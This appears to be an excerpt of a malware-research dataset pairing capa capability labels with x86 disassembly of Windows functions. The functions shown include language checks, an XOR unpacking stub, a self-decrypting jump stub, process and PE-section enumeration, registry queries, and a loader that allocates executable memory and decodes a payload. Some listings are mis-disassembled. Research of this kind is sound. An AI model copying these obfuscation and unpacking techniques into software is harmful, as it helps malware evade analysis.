joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4116e0
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, 0x134
sub esp, 0x14
mov eax, dword [0x42912c]
mov ecx, dword [0x4291c0]
lea edx, [eax + 0x8b48e65]
mov eax, dword [0x4293d4]
xor ecx, 0xeb0195c4
xor edx, 0xa9b74e90
mov dword [0x429048], ecx
and edx, 0x58266815
mov dword [0x4293d4], edx
mov edx, eax
or eax, 0x59f5a90a
imul eax, eax, 0x7cda5479
and edx, 0x4de6adb4
or edx, 0x49e4a900
mov dword [0x4291c0], edx
mov edx, 0x4296c0
and eax, 0xc5372a23
mov dword [0x42912c], eax
movzx eax, byte [edx]
inc edx
test al, al
je 0x41176a
add ebx, eax
cmp ebx, 0x19fd
jbe 0x41174e
mov dword [esp], ecx
call dword [sym.imp.USER32.dll_IsIconic]
push edx
mov eax, dword [0x4291c0]
mov dword [esp], 0x1779
add eax, 0x62247a85
mov dword [0x42912c], eax
mov eax, dword [0x4293d4]
or eax, 0x85975f76
mov dword [0x429048], eax
call dword [sym.imp.USER32.dll_IsZoomed]
mov edx, str.STATUS_WAIT_63
mov ecx, 0xff0
push eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x4117b2
add ecx, eax
cmp ecx, 0x10c4
jbe 0x4117a0
mov eax, dword [0x42912c]
or eax, 0xfdad63ea
mov dword [0x4293d4], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov edx, str.STATUS_WAIT_63
mov ecx, 0xa71
movzx eax, ax
add eax, 0x154c5635
mov dword [0x42912c], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x4117ff
add ecx, eax
cmp ecx, 0x24a3
jbe 0x4117de
mov eax, dword [0x4291c0]
xor eax, 0x92cb600a
mov dword [0x42912c], eax
mov edx, str.The_current_process_is_a_cloned_process.
mov ecx, 0x19f8
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x41182d
add ecx, eax
cmp ecx, 0x1a59
jbe 0x411809
mov eax, dword [0x4293d4]
xor eax, 0xe5d04723
mov dword [0x42912c], eax
imul eax, dword [0x42912c], 0x6423f213
mov dword [0x429048], eax
xor eax, eax
cmp byte [eax + 0x42eb00], 0
je 0x411859
inc eax
cmp eax, 0xf77
jne 0x41183e
xor dword [0x4293d4], 0xab996725
mov eax, dword [0x4293d4]
xor eax, 0xfcf51415
mov dword [0x42912c], eax
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
mov ebx, dword [ebp - 4]
or eax, 0x7f40fe03
mov dword [0x4293d4], eax
mov eax, dword [0x429048]
sub eax, 0x4627977d
mov dword [0x4291c0], eax
leave
ret

Function at 0x41188c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4292c4]
mov dword [esp], 0x42cdc0
sub eax, 0x2dae8428
mov dword [0x428f60], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor dword [0x4292c4], 0x8c76da61
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
xor eax, 0xeb11d0c8
sub eax, 0x22fd86b3
and eax, 0x3ec96b0b
mov dword [0x428f60], eax
call dword [sym.imp.USER32.dll_AnyPopup]
mov dword [esp], str.Windows_was_unable_to_parse_the_requested_XML_data.
imul eax, dword [0x4292c4], 0xb3adc94a
mov dword [0x4292c4], eax
and eax, 0x852300f8
mov dword [0x428f60], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov eax, dword [0x428f60]
push edx
and eax, 0x5717d993
or eax, 0x1406d992
xor eax, 0xda42b329
add eax, 0x5013772d
mov edx, eax
and eax, 0x690210e0
and edx, 0xe92b31e0
or eax, 0x361a70ba
mov dword [0x4292c4], edx
mov dword [0x428f60], eax
leave
ret
Function at 0x411d60
Capabilities:
Identify system language via api

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
sub esp, 0x18
cmp byte [eax + str.Failed_to_resolve_matching_text_file], 0
je 0x411d88
inc eax
cmp eax, 0xa65
jne 0x411d68
mov eax, dword [0x429200]
sub eax, 0x4bac1df9
mov dword [0x429170], eax
mov eax, dword [0x429140]
mov ecx, 0xd2d
mov edx, eax
and eax, 0x71b230a3
or eax, 0xa3f3feed
or edx, 0x7a513e06
mov dword [0x429200], eax
mov dword [0x429154], edx
mov edx, str.AslFileClose
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x411de8
add ecx, eax
cmp ecx, 0x1ca5
jbe 0x411db4
mov eax, dword [0x429170]
add eax, 0x3cf5f638
mov dword [0x429140], eax
call dword [sym.imp.USER32.dll_GetMessageTime]
or eax, 0x81315390
mov dword [0x429154], eax
add dword [0x429140], 0x59d84739
xor eax, eax
cmp byte [eax + str.Access_Denied], 0
je 0x411e14
inc eax
cmp eax, 0x899
jne 0x411df4
mov eax, dword [0x429170]
and eax, 0x6cf8bf8c
mov dword [0x429140], eax
mov eax, dword [0x429200]
xor eax, 0xa8a0194f
mov dword [0x429170], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [0x429140]
or eax, 0x8c3b847a
mov dword [0x429154], eax
sub eax, 0x5b7d6284
mov dword [0x429200], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov eax, dword [0x429200]
mov edx, eax
mov ecx, eax
or eax, 0xfb9fedff
or edx, 0xb01fa9f9
and ecx, 0x8ea226ab
mov dword [0x429140], eax
or ecx, 0x800220a9
mov dword [0x429170], edx
sub edx, 0x44ec1ddc
mov dword [0x429200], edx
mov dword [0x429154], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [0x429154]
mov dword [esp], str.The_client_certificate_account_mapping_is_not_unique.
and eax, 0x7af30a1f
mov dword [0x429170], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [0x429154]
lea edx, [eax - 0x7c5eab0f]
sub eax, 0x49728703
mov dword [0x429170], eax
mov eax, edx
mov dword [0x429200], edx
leave
ret
Function at 0x4135a8
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x42939c]
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
or eax, 0x52a5f620
mov ecx, ebx
mov dword [0x429264], eax
mov dl, byte [ecx]
test dl, dl
je 0x4135e8
sub edx, 0x30
cmp dl, 9
jbe 0x4135e5
sub eax, 0x5c3ea13f
mov dword [0x429264], eax
jmp 0x4135e8
inc ecx
jmp 0x4135cb
imul eax, dword [0x429264], 0x888b8d46
mov dword [0x429264], eax
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetTopWindow]
xor eax, 0xa9a40ba0
push edx
mov ecx, dword [ebp + 0x14]
sub eax, 0x41253843
mov dword [0x429264], eax
mov dl, byte [ecx]
test dl, dl
je 0x413630
sub edx, 0x30
cmp dl, 9
jbe 0x41362d
and eax, 0xe1ebfad5
mov dword [0x429264], eax
jmp 0x413630
inc ecx
jmp 0x413613
xor eax, eax
cmp byte [esi + eax], 0
je 0x41364a
inc eax
cmp eax, 0x1052
jne 0x413632
sub dword [0x429264], 0xa426bb8
mov eax, dword [0x429264]
add eax, 0x6666ad3b
mov edx, eax
mov dword [0x429264], eax
xor edx, 0xc8b63bd0
mov dword [0x42939c], edx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov edx, 0x1a87
push ecx
movzx eax, word [edi]
add edi, 2
test ax, ax
je 0x41368b
add edx, eax
cmp edx, 0x420
jbe 0x413676
mov eax, dword [0x429264]
mov edi, dword [ebp + 0x14]
xor eax, 0xdd588a19
mov dword [0x429264], eax
add eax, 0x4bdf0e29
cmp byte [edi], 0
mov dword [0x42939c], eax
je 0x4136b6
xor eax, 0x8ff4c0d9
mov dword [0x42939c], eax
mov eax, dword [0x42939c]
add eax, 0x155e5056
and eax, 0x82c74fa4
mov dword [0x42939c], eax
mov dword [esp], 0x85b
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
add eax, 0x4080bfa9
push edx
mov dword [0x42939c], eax
xor eax, 0x1a0ca241
mov dl, byte [esi]
test dl, dl
je 0x413706
sub edx, 0x30
cmp dl, 9
jbe 0x413703
lea edx, [eax - 0x7c1585a]
mov dword [0x42939c], edx
jmp 0x413706
inc esi
jmp 0x4136e7
sub eax, 0x3d7c6bf
mov dword [0x429264], eax
mov dword [esp], str.ContainerType
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
mov edx, dword [0x429264]
lea eax, [edx + 0x39b1909]
mov dword [0x429264], eax
xor eax, eax
cmp byte [ebx + eax], 0
je 0x413751
inc eax
cmp eax, 0x2436
jne 0x413731
add edx, 0x1997180f
mov dword [0x42939c], edx
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov eax, dword [0x429264]
and eax, 0x807231f
or eax, 0x3221e
mov dword [0x429264], eax
movzx esi, byte [ebx]
lea edx, [esi - 0x30]
cmp dl, 9
ja 0x413773
inc ebx
jmp 0x413765
imul edx, eax, 0xc0d8d83f
mov dword [0x42939c], edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4142b8
Capabilities:
Identify system language via api

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x429234]
or eax, 0xc9bcc4b
mov dword [0x4293e8], eax
cmp byte [edx + str.Semaphore], 0
je 0x4142ee
inc edx
cmp edx, 0x212f
jne 0x4142d2
add eax, 0x69973420
mov dword [0x4293e8], eax
mov eax, dword [0x42905c]
mov edx, dword [0x4293e8]
imul ecx, eax, 0x5b5c7644
mov dword [0x429228], ecx
mov ecx, edx
xor ecx, 0xd982505b
mov dword [0x42905c], ecx
xor ecx, ecx
cmp word [ecx + str.TPM_2.0:_Authorization_failure_without_DA_implications.], 0
je 0x414339
add ecx, 2
cmp ecx, 0x340a
jne 0x414315
add eax, 0xd565b60
and eax, 0x93051a75
mov dword [0x42905c], eax
sub dword [0x42905c], 0x1f5e629d
mov eax, edx
xor eax, 0x94506cff
mov dword [0x429234], eax
xor eax, eax
cmp byte [eax + str.No_network_address_is_available_to_use_to_construct_a_UUID.], 0
je 0x41437c
inc eax
cmp eax, 0x1e83
jne 0x414351
xor edx, 0x9cb8c42
mov dword [0x4293e8], edx
mov dword [esp], 0x21ad
call dword [sym.imp.USER32.dll_IsZoomed]
push eax
mov edx, dword [0x429228]
mov esi, str.Semaphore
mov edi, 0x59e
mov eax, edx
xor eax, 0x65d76749
lea ecx, [eax - 0x9b7c553]
lea ebx, [eax - 0x7814b0ea]
mov dword [0x4293e8], ecx
movsx ecx, byte [esi]
inc esi
test cl, cl
je 0x4143b7
add edi, ecx
cmp edi, 0x942
jbe 0x4143a5
xor edx, 0x5be5ef10
add eax, 0x5accffa3
or ebx, 0xb3e6fc96
mov dword [0x42905c], edx
mov dword [0x429234], ebx
mov dword [0x429228], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov edx, str.The_Registry_Is_Corrupt
mov al, byte [edx]
test al, al
je 0x414405
sub eax, 0x30
cmp al, 9
jbe 0x414402
mov eax, dword [0x42905c]
xor eax, 0xbb6ecc0b
mov dword [0x429234], eax
jmp 0x414405
inc edx
jmp 0x4143e4
mov eax, dword [0x429234]
mov edx, eax
or edx, 0xcffbb3ae
add edx, 0x74397ec1
mov dword [0x429228], edx
lea edx, [eax + 0x219a6263]
add eax, 0x45c030ff
mov dword [0x4293e8], edx
mov dword [0x42905c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [0x429228]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x414d98
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov edx, str.Stack_trace_available_at__p
mov ecx, 0x228c
mov ebp, esp
push ebx
sub esp, 0x14
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x414dbe
add ecx, eax
cmp ecx, 0x234a
jbe 0x414da9
mov eax, dword [0x428fc0]
mov ecx, str.WWWWWWWWWWWW
mov ebx, 0xa80
movzx edx, byte [ecx]
inc ecx
test dl, dl
je 0x414df1
add ebx, edx
cmp ebx, 0x168c
jbe 0x414dcd
lea edx, [eax - 0x7cc6b2fc]
imul edx, edx, 0xdcf47053
mov dword [0x42940c], edx
mov ecx, dword [0x42940c]
xor eax, 0xdcce2081
and eax, 0xb3bd1631
lea edx, [ecx - 0x71d84253]
add ecx, 0x56ee6dd7
cmp byte [str.WWWWWWWWWWWW], 0
mov dword [0x428fcc], eax
mov dword [0x429124], ecx
je 0x414e31
imul eax, eax, 0x9d11e2be
add eax, 0x4eb2be07
mov dword [0x428fcc], eax
imul eax, edx, 0x84029f87
mov dword [0x42940c], eax
add eax, 0x3b8e8d51
mov dword [0x428fc0], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov edx, dword [0x428fcc]
imul eax, dword [0x429124], 0xcaec2d8b
or dword [0x428fc0], 0x9a0d2816
mov dword [0x42940c], eax
lea eax, [edx + 0x4a915e2f]
mov dword [0x429124], eax
xor eax, eax
cmp word [eax + str.TPM_2.0:_Insufficient_space_for_NV_allocation.], 0
je 0x414e98
add eax, 2
cmp eax, 0x1894
jne 0x414e78
sub edx, 0x508fe92a
mov dword [0x429124], edx
mov eax, dword [0x429124]
mov ecx, str.WWWWWWWWWWWW
add eax, 0x1ac846bb
imul eax, eax, 0x5ef95158
mov dl, byte [ecx]
test dl, dl
je 0x414ece
sub edx, 0x30
cmp dl, 9
jbe 0x414ecb
mov edx, eax
xor edx, 0x3ba1fd9b
mov dword [0x429124], edx
jmp 0x414ece
inc ecx
jmp 0x414ead
or eax, 0xcc12eb9a
mov ebx, 0x4e9
mov dword [0x428fcc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [0x428fcc]
mov ecx, str.WWWWWWWWWWWW
add eax, 0x21c1b7df
mov dword [0x429124], eax
mov eax, dword [0x42940c]
lea edx, [eax + 0x62880327]
mov dword [0x428fc0], edx
movzx edx, byte [ecx]
inc ecx
test dl, dl
je 0x414f1a
add ebx, edx
cmp ebx, 0xcb0
jbe 0x414f08
and eax, 0x64265b6b
mov dword [esp], 0x225c
mov ebx, 0x90a
mov dword [0x428fcc], eax
call dword [sym.imp.USER32.dll_IsZoomed]
mov ecx, str.currentContextId
push eax
mov eax, dword [0x42940c]
lea edx, [eax + 0x21e13435]
mov dword [0x428fc0], edx
movzx edx, word [ecx]
add ecx, 2
test dx, dx
je 0x414f74
add ebx, edx
cmp ebx, 0xbe4
jbe 0x414f4d
mov ebx, dword [0x429124]
lea edx, [ebx - 0x7b702445]
mov dword [0x42940c], edx
mov edx, dword [0x42940c]
add eax, 0x646fcbbd
mov ebx, dword [ebp - 4]
mov dword [0x429124], eax
lea ecx, [edx - 0x6b380d62]
sub edx, 0x37d64d0b
mov dword [0x428fcc], ecx
mov dword [0x42940c], edx
leave
ret
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x404b00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x427004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
mov ebx, ecx
push esi
push 0x40000002
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x404b98
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x404b98
nop dword [eax]
mov eax, ebx
lea ecx, [ebp - 0x10c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x404b78
test dl, dl
je 0x404b74
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x404b78
add ecx, 2
add eax, 2
test dl, dl
jne 0x404b58
xor eax, eax
jmp 0x404b7d
sbb eax, eax
or eax, 1
test eax, eax
lea eax, [ebp - 0x130]
push eax
cmove esi, dword [ebp - 0x128]
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x404b50
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404bab
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10011a79
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x10011ab4
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x10011a9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x10011aac
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x10011ab6
inc edi
add eax, 0x28
cmp edi, esi
jb 0x10011a91
xor eax, eax
pop edi
pop esi
ret

Function at 0x10011c36
Capabilities:
Enumerate pe sections

Disassembly:
js 0x10011c74
add edi, eax
movzx eax, word [edi + 0x14]
lea esi, [eax + edi + 0x18]
mov dword [ebp - 0x44], esi
call fcn.10011a39
cmc
push eax
out dx, eax
movzx eax, word [edi + 6]
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.10011a39
xchg byte [edx], bh
xchg bl, al
mov ax, word [edi + 6]
cmp ax, bx
cmp eax, ebx
jbe 0x10011c93
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x10011c8d
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x10011c7e
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
stosd dword es:[edi], eax
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
rol esi, cl
inc ebp
mov bl, 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7

Function at 0x10012160
Capabilities:
Inspect section memory permissions

Disassembly:
and byte [ecx + 0x1065], al
add byte [eax + 0x3b184d8b], al
sal dword [esp + eax - 0x80], cl
or al, 8
add dword [ecx], edi
pop ebp
or byte [esp + eax - 0x80], dh
or al, 8
Function at 0x1001217b
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x10012110
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1001212e
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x1001218c
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and byte [ecx + 0x1065], al
invalid
invalid
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x10012173
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x1001217c
or byte [eax + ecx], 2
add bh, byte [ecx]
pop ebp
adc byte [ebp + eax + 3], dh
enter 0x980, 4
cmp dword [ebp + 0x10], ebx
je 0x10012186
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x10012168
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x100120f2
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x100121d9
dec eax
je 0x100121d0
sub eax, 3
je 0x100121c7
mov dword [ebp - 4], 0x40
jmp 0x100121f6
mov dword [ebp - 4], 4
jmp 0x100121dc
mov dword [ebp - 4], 0x20
jmp 0x100121dc
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
invalid
Function at 0x2e01416e
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e0306d8
call fcn.2e001511
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014eb5
test ax, ax
je 0x2e014216
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014216
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01420d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e0183b6
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014200
push esi
mov ecx, edi
call fcn.2e010e6c
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e0183b6
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e00155b
ret

Function at 0x2e014ca3
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x2e030759
call fcn.2e02e6de
mov esi, dword [ebp + 8]
xor eax, eax
mov bl, al
mov edi, dword [ebp + 0xc]
cmp dword [ecx + 0x10], eax
jbe 0x2e014da7
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.2e014b8d
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push esi
call fcn.2e010d8f
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014d65
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x2e033941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014d5c
mov eax, dword [ebp - 0x2c]
inc eax
push eax
call fcn.2e0183b6
mov esi, eax
pop ecx
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
push esi
push 0
push 0
push 0x2e033941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014d4e
push esi
mov ecx, edi
call fcn.2e010e6c
mov bl, 1
push 1
push esi
mov byte [ebp - 4], 0
call fcn.2e0183b6
pop ecx
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e014da7
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 2
cmp eax, 0x1000
jb 0x2e014d9e
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.2e0183b6
mov eax, dword [ebp - 0x2c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call fcn.2e0183b6
pop ecx
pop ecx
mov al, bl
call fcn.2e02e6bc
ret 8
Function at 0x2e014de1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e03078d
call fcn.2e001511
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014e1b
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014e81
lea eax, [ebp - 0x14]
mov edi, 0x2e033941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014e78
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014e78
inc eax
push eax
call fcn.2e0183b6
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014e6a
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010e6c
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e0183b6
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e00155b
ret 8

Function at 0x2e0183b6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x2e0183c5
pop dword [ebp - 0x24]
mov eax, 0x2e0183c5
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xea56cdc6
add dword [ebp - 0x34], 0x63fb7785
mov dword [ebp - 0x30], 0xc581f6db
sub dword [ebp - 0x30], 0x934eaa96
mov dword [ebp - 0x2c], 0x53849d8e
sub dword [ebp - 0x2c], 0x7385960
mov dword [ebp - 0x28], 0x14994f80
sub dword [ebp - 0x28], 0x14994f80
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x81fb817b
sub dword [ebp - 0x34], 0xd891825
mov dword [ebp - 0x30], 0x7411b20c
sub dword [ebp - 0x30], 0x32a55097
mov dword [ebp - 0x2c], 0x44d9b15f
sub dword [ebp - 0x2c], 0xe16a44f3
mov dword [ebp - 0x28], 0x7dce24ce
add dword [ebp - 0x28], 0x8231db32
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3ece4
push 0
call eax
mov ecx, 0x3e88
mov edx, eax
mov ebx, 0x76fa4371
sub ebx, 0x48f4c571
add ebx, dword [ebp - 0x24]
mov esi, 0x6575cbf0
add esi, 0x5a5f120b
add dword [ebp - 8], 0xb57ceb41
mov edi, dword [ebx]
add dword [ebp - 0x18], edx
xor edi, esi
xor dword [ebp - 0x10], 0x9d5b0781
mov dword [edx], edi
sub dword [ebp - 0x18], 0x3bb4b0af
add edx, 0x6235e18b
add edx, 0x9dca1e79
add ebx, 0x866a74bd
sub ebx, 0x866a74b9
loop 0x2e0184d2
add eax, 0x9f3f776
add eax, 0xf60cf57d
xor ebx, ebx
add ebx, eax
